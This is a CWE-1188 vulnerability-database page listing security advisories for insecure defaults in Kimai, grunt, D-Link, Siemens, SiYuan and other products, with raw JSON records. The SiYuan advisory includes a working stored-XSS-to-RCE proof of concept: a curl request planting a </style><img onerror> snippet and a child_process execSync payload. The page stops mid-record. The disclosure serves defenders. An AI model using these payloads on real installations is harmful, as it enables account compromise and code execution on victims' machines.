Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

402 vulnerabilities reference this CWE, most recent first.

GHSA-JR9P-4H4J-6C58

Vulnerability from github – Published: 2026-07-14 00:07 – Updated: 2026-07-14 00:07
VLAI
Summary
Kimai: Default APP_SECRET in Docker Image Enables Cookie Forgery and Account Takeover
Details

Summary

The official Kimai Docker image ships with APP_SECRET=change_this_to_something_unique as the default environment variable. The Docker entrypoint does not override or validate this value. Any Kimai instance deployed using the Docker image without explicitly setting APP_SECRET runs with a publicly-known Symfony kernel.secret, enabling an unauthenticated attacker to forge HMAC-signed cookies and login links to take over any account including super_admin.

Details

Dockerfile:263 sets ENV APP_SECRET=change_this_to_something_unique. This value is consumed by config/packages/framework.yaml:7 as kernel.secret, which Symfony uses to HMAC-sign:

  • The KIMAI_REMEMBER remember-me cookie
  • LoginLink signatures
  • Password reset URLs
  • CSRF tokens

The .docker/entrypoint.sh does not check for or replace the default sentinel value. The bare-metal .env.dist:38 ships the same default. No startup-time guard exists anywhere in the codebase that refuses to start when APP_SECRET equals the sentinel.

User IDs are sequential integers starting from 1. The first super_admin account is almost always id=1. User IDs are visible in some URLs and API responses.

A PoC was provided, but removed for security reasons.

Impact

Any Kimai instance deployed via the official Docker image without overriding APP_SECRET can be compromised from the internet. An unauthenticated attacker who can reach the Kimai URL can forge authentication tokens and log in as any user if: - a username is known AND - the correct account ID for this username is guessed AND - the account has no active 2FA (two factor) authentication

Solution

  • The entrypoint.sh file is updated and now contains a script that generates a random APP_SECRET via bin2hex(random_bytes(32)) which will be stored in /opt/kimai/var/data/.appsecret
  • The entrypoint.sh will create the file /opt/kimai/.env.local containing the APP_SECRET, either fetched from the Docker Environment or from the newly created secret file
  • The documentation was updated to highlight the importance of using a random secret for APP_SECRET
  • The Dockerfile removed default APP_SECRET=change_this_to_something_unique
  • Login links now contain more entropy (see GHSA-m492-gv72-xvxj) - so even without all previous changes, attackers won't be able to generate Login links even for installations that have a hard-coded APP_SECRET=change_this_to_something_unique

See https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58 for more information.

Severity
9.1 (Critical)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.57.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.58.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T00:07:59Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe official Kimai Docker image ships with `APP_SECRET=change_this_to_something_unique` as the default environment variable. The Docker entrypoint does not override or validate this value. Any Kimai instance deployed using the Docker image without explicitly setting `APP_SECRET` runs with a publicly-known Symfony `kernel.secret`, enabling an unauthenticated attacker to forge HMAC-signed cookies and login links to take over any account including super_admin.\n\n### Details\n\n`Dockerfile:263` sets `ENV APP_SECRET=change_this_to_something_unique`. This value is consumed by `config/packages/framework.yaml:7` as `kernel.secret`, which Symfony uses to HMAC-sign:\n\n- The `KIMAI_REMEMBER` remember-me cookie\n- LoginLink signatures\n- Password reset URLs\n- CSRF tokens\n\nThe `.docker/entrypoint.sh` does not check for or replace the default sentinel value. The bare-metal `.env.dist:38` ships the same default. No startup-time guard exists anywhere in the codebase that refuses to start when `APP_SECRET` equals the sentinel.\n\nUser IDs are sequential integers starting from 1. The first super_admin account is almost always `id=1`. User IDs are visible in some URLs and API responses.\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nAny Kimai instance deployed via the official Docker image without overriding `APP_SECRET` can be compromised from the internet. An unauthenticated attacker who can reach the Kimai URL can forge authentication tokens and log in as any user if:\n- a username is known AND\n- the correct account ID for this username is guessed AND\n- the account has no active 2FA (two factor) authentication\n\n## Solution\n\n- The entrypoint.sh file is updated and now contains a script that generates a random `APP_SECRET` via `bin2hex(random_bytes(32))` which will be stored in  `/opt/kimai/var/data/.appsecret`\n- The entrypoint.sh will create the file `/opt/kimai/.env.local` containing the `APP_SECRET`, either fetched from the Docker Environment or from the newly created secret file\n- The documentation was updated to highlight the importance of using a random secret for `APP_SECRET`\n- The Dockerfile removed default `APP_SECRET=change_this_to_something_unique`\n- Login links now contain more entropy (see GHSA-m492-gv72-xvxj) - so even without all previous changes, attackers won\u0027t be able to generate Login links even for installations that have a hard-coded `APP_SECRET=change_this_to_something_unique`\n\nSee [https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58](https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58) for more information.",
  "id": "GHSA-jr9p-4h4j-6c58",
  "modified": "2026-07-14T00:07:59Z",
  "published": "2026-07-14T00:07:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-jr9p-4h4j-6c58"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kimai: Default APP_SECRET in Docker Image Enables Cookie Forgery and Account Takeover"
}

GHSA-M2C9-V8XF-797H

Vulnerability from github – Published: 2025-04-09 12:30 – Updated: 2025-04-09 12:30
VLAI
Details

CWE-1188: Initialization of a Resource with an Insecure Default vulnerability exists that could lead to loss of confidentiality when a malicious user, having physical access, sets the radio in factory default mode where the product does not correctly initialize all data.

Severity
4.6 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.1 (Medium)
CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-2441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-09T11:15:42Z",
    "severity": "MODERATE"
  },
  "details": "CWE-1188: Initialization of a Resource with an Insecure Default vulnerability exists that could lead to loss of\nconfidentiality when a malicious user, having physical access, sets the radio in factory default mode where the\nproduct does not correctly initialize all data.",
  "id": "GHSA-m2c9-v8xf-797h",
  "modified": "2025-04-09T12:30:24Z",
  "published": "2025-04-09T12:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2441"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-098-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2025-098-02.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M2M9-VHW3-W774

Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30
VLAI
Details

Insecure Default Initialization of Resource vulnerability allows Authentication Bypass via API access. This issue affects Pandora FMS: from 777 through 800

Severity
9.1 (Critical)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/S:N/AU:N/R:U/V:C/RE:M/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-30805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T16:16:12Z",
    "severity": "CRITICAL"
  },
  "details": "Insecure Default Initialization of Resource vulnerability allows Authentication Bypass via API access. This issue affects Pandora FMS: from 777 through 800",
  "id": "GHSA-m2m9-vhw3-w774",
  "modified": "2026-05-12T18:30:37Z",
  "published": "2026-05-12T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30805"
    },
    {
      "type": "WEB",
      "url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M3J7-G6V4-2MP3

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42
VLAI
Details

An issue was discovered on Siemens SICAM RTUs SM-2556 COM Modules with the firmware variants ENOS00, ERAC00, ETA2, ETLS00, MODi00, and DNPi00. The integrated web server (port 80/tcp) of the affected devices could allow unauthenticated remote attackers to execute arbitrary code on the affected device.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-12739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-15T08:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered on Siemens SICAM RTUs SM-2556 COM Modules with the firmware variants ENOS00, ERAC00, ETA2, ETLS00, MODi00, and DNPi00. The integrated web server (port 80/tcp) of the affected devices could allow unauthenticated remote attackers to execute arbitrary code on the affected device.",
  "id": "GHSA-m3j7-g6v4-2mp3",
  "modified": "2022-05-13T01:42:45Z",
  "published": "2022-05-13T01:42:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12739"
    },
    {
      "type": "WEB",
      "url": "https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-164516.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101884"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M5PJ-VJJF-4M3H

Vulnerability from github – Published: 2021-05-06 18:27 – Updated: 2021-05-04 22:57
VLAI
Summary
Arbitrary Code Execution in grunt
Details

The package grunt before 1.3.0 are vulnerable to Arbitrary Code Execution due to the default usage of the function load() instead of its secure replacement safeLoad() of the package js-yaml inside grunt.file.readYAML.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "grunt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-04T22:57:23Z",
    "nvd_published_at": "2020-09-03T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "The package grunt before 1.3.0 are vulnerable to Arbitrary Code Execution due to the default usage of the function load() instead of its secure replacement safeLoad() of the package js-yaml inside grunt.file.readYAML.",
  "id": "GHSA-m5pj-vjjf-4m3h",
  "modified": "2021-05-04T22:57:23Z",
  "published": "2021-05-06T18:27:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7729"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gruntjs/grunt/commit/e350cea1724eb3476464561a380fb6a64e61e4e7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gruntjs/grunt/blob/master/lib/grunt/file.js%23L249"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-607922"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-GRUNT-597546"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4595-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary Code Execution in grunt"
}

GHSA-M6F8-WJ73-MHFJ

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2025-04-20 03:32
VLAI
Details

An issue was discovered in Schneider Electric Wonderware Historian 2014 R2 SP1 P01 and earlier. Wonderware Historian creates logins with default passwords, which can allow a malicious entity to compromise Historian databases. In some installation scenarios, resources beyond those created by Wonderware Historian may be compromised as well.

Severity
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-5155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-13T21:59:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Schneider Electric Wonderware Historian 2014 R2 SP1 P01 and earlier. Wonderware Historian creates logins with default passwords, which can allow a malicious entity to compromise Historian databases. In some installation scenarios, resources beyond those created by Wonderware Historian may be compromised as well.",
  "id": "GHSA-m6f8-wj73-mhfj",
  "modified": "2025-04-20T03:32:49Z",
  "published": "2022-05-13T01:46:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5155"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-024-01"
    },
    {
      "type": "WEB",
      "url": "http://software.schneider-electric.com/pdf/security-bulletin/lfsec00000115"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95766"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1037808"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M8GX-4W6Q-HF55

Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48
VLAI
Details

On D-Link DIR-550A and DIR-604M devices through v2.10KR, a malicious user can use a default TELNET account to get unauthorized access to vulnerable devices, aka a backdoor access vulnerability.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-10968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-18T14:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "On D-Link DIR-550A and DIR-604M devices through v2.10KR, a malicious user can use a default TELNET account to get unauthorized access to vulnerable devices, aka a backdoor access vulnerability.",
  "id": "GHSA-m8gx-4w6q-hf55",
  "modified": "2022-05-13T01:48:59Z",
  "published": "2022-05-13T01:48:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10968"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/zeroday/FG-VD-18-061"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MC4H-8CXF-938R

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2024-07-30 03:30
VLAI
Details

An issue was discovered on TK-Star Q90 Junior GPS horloge 3.1042.9.8656 devices. It performs actions based on certain SMS commands. This can be used to set up a voice communication channel from the watch to any telephone number, initiated by sending a specific SMS and using the default password, e.g., pw,,call, triggers an outbound call from the watch. The password is sometimes available because of CVE-2019-20471.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-20470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-284",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-01T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on TK-Star Q90 Junior GPS horloge 3.1042.9.8656 devices. It performs actions based on certain SMS commands. This can be used to set up a voice communication channel from the watch to any telephone number, initiated by sending a specific SMS and using the default password, e.g., pw,\u003cpassword\u003e,call,\u003cmobile_number\u003e triggers an outbound call from the watch. The password is sometimes available because of CVE-2019-20471.",
  "id": "GHSA-mc4h-8cxf-938r",
  "modified": "2024-07-30T03:30:50Z",
  "published": "2022-05-24T17:40:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20470"
    },
    {
      "type": "WEB",
      "url": "https://www.eurofins-cybersecurity.com/news/connected-devices-smart-watches"
    },
    {
      "type": "WEB",
      "url": "https://www.tk-star.com"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MC93-WCPH-M2MX

Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2024-01-01 00:30
VLAI
Details

A spoofing vulnerability manifests in Microsoft Xamarin.Forms due to the default settings on Android WebView version prior to 83.0.4103.106, aka 'Xamarin.Forms Spoofing Vulnerability'.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-16873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-11T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A spoofing vulnerability manifests in Microsoft Xamarin.Forms due to the default settings on Android WebView version prior to 83.0.4103.106, aka \u0027Xamarin.Forms Spoofing Vulnerability\u0027.",
  "id": "GHSA-mc93-wcph-m2mx",
  "modified": "2024-01-01T00:30:40Z",
  "published": "2022-05-24T17:28:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16873"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16873"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MVJR-VV3C-W4QV

Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25
VLAI
Summary
SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()
Details

Summary

A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.

The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.

Details

Affected:

  • HEAD 96dfe0b (v3.6.5, 2026-04-21)
  • Sink: app/src/config/util/snippets.ts:32
  • Source: /api/snippet/getSnippet, backed by data/snippets/conf.json
  • Default config: EnabledCSS: true, EnabledJS: true at kernel/conf/snippet.go:26-27
  • Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322

The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:

snippet := &conf.Snippet{
    ID:      m["id"].(string),
    Name:    m["name"].(string),
    Type:    m["type"].(string),
    Content: m["content"].(string),
    Enabled: m["enabled"].(bool),
}

Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.

The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:

fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
  response.data.snippets.forEach((item: ISnippet) => {
    const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
    if (item.type === "css") {
      document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
    } else if (item.type === "js") {
      // intentional script-loading path
    }
  });
});

${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.

Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.

Suggested fix

The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:

if (item.type === "css") {
  const el = document.createElement("style");
  el.id = id;
  el.textContent = item.content;
  document.head.appendChild(el);
}

textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.

If touching that line is undesirable, the smaller patch is to escape < before interpolation:

const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&amp;" : "&lt;");
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);

Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.

PoC

Stand up SiYuan:

docker run -d --name siyuan-poc \
  -v ./workspace:/siyuan/workspace \
  -p 16806:6806 \
  b3log/siyuan:latest \
  --workspace=/siyuan/workspace --accessAuthCode=hunter2

Plant the snippet:

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -X POST http://localhost:16806/api/snippet/setSnippet \
  -H "Content-Type: application/json" \
  -H "Authorization: Token $TOKEN" \
  -d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'

Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.

Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:

({
  markerFired: window.__siyuan_xss === true,
  styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
  imgsInHead: document.head.querySelectorAll('img').length,
  snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
})

Result from my run on 2026-05-19 against b3log/siyuan:latest:

{
  "markerFired": true,
  "styleCount": 1,
  "imgsInHead": 1,
  "snippetStyleEmpty": true
}

document.title is SIYUAN_XSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.

To turn it into RCE on Electron, swap the marker payload for:

<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.

The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260628153353-2d5d72223df4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:25:09Z",
    "nvd_published_at": "2026-06-24T22:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA CSS snippet body containing `\u003c/style\u003e` breaks out of its surrounding `\u003cstyle\u003e` tag when `renderSnippet()` interpolates it via `insertAdjacentHTML`. A payload like `\u003c/style\u003e\u003cimg src=x onerror=\"...\"\u003e` runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with `nodeIntegration:true`, so `require(\u0027child_process\u0027)` is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.\n\nThe bug also bypasses the user\u0027s `enabledCSS` / `enabledJS` separation. A user who turned `enabledJS` off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Sink: `app/src/config/util/snippets.ts:32`\n- Source: `/api/snippet/getSnippet`, backed by `data/snippets/conf.json`\n- Default config: `EnabledCSS: true`, `EnabledJS: true` at `kernel/conf/snippet.go:26-27`\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`\n\nThe write path stores raw content. `kernel/api/snippet.go:107-130` copies `Content` from the request straight into the snippet record with no HTML escape, no `\u003c/style\u003e` check, no type-specific validation:\n\n```go\nsnippet := \u0026conf.Snippet{\n    ID:      m[\"id\"].(string),\n    Name:    m[\"name\"].(string),\n    Type:    m[\"type\"].(string),\n    Content: m[\"content\"].(string),\n    Enabled: m[\"enabled\"].(bool),\n}\n```\n\nStorage is workspace-internal and syncs. `kernel/model/repository.go:1748,1798` reference `data/snippets/conf.json`, so the malicious record propagates to every sync peer.\n\nThe renderer reads the snippet back through `/api/snippet/getSnippet` and interpolates it into a `\u003cstyle\u003e` tag, raw. `app/src/config/util/snippets.ts:32`, called on app boot and on the `reloadSnippet` WebSocket event:\n\n```ts\nfetchPost(\"/api/snippet/getSnippet\", {type: \"all\", enabled: 2}, (response) =\u003e {\n  response.data.snippets.forEach((item: ISnippet) =\u003e {\n    const id = `snippet${item.type === \"css\" ? \"CSS\" : \"JS\"}${item.id}`;\n    if (item.type === \"css\") {\n      document.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${item.content}\u003c/style\u003e`);\n    } else if (item.type === \"js\") {\n      // intentional script-loading path\n    }\n  });\n});\n```\n\n`${item.content}` lands inside the `\u003cstyle\u003e` tag. The HTML parser closes the style on the first `\u003c/style\u003e` substring and treats anything after as a sibling of the empty `\u003cstyle\u003e` element.\n\nWorth noting: the JS branch right after the CSS one already does the safe thing. It uses `document.createElement(\"script\")` and sets `el.text = item.content`. That\u0027s a text-node assignment, no HTML parsing. The CSS branch just doesn\u0027t use the equivalent on a `\u003cstyle\u003e` element, and that\u0027s the bug.\n\n#### Suggested fix\n\nThe cleanest fix mirrors what the JS branch already does. Build the element with `createElement` and set `textContent`:\n\n```ts\nif (item.type === \"css\") {\n  const el = document.createElement(\"style\");\n  el.id = id;\n  el.textContent = item.content;\n  document.head.appendChild(el);\n}\n```\n\n`textContent` on a `\u003cstyle\u003e` element populates the CSS rules without invoking the HTML parser, so `\u003c/style\u003e` in the body is a 4-character text node instead of a close tag.\n\nIf touching that line is undesirable, the smaller patch is to escape `\u003c` before interpolation:\n\n```ts\nconst safe = item.content.replace(/[\u0026\u003c]/g, c =\u003e c 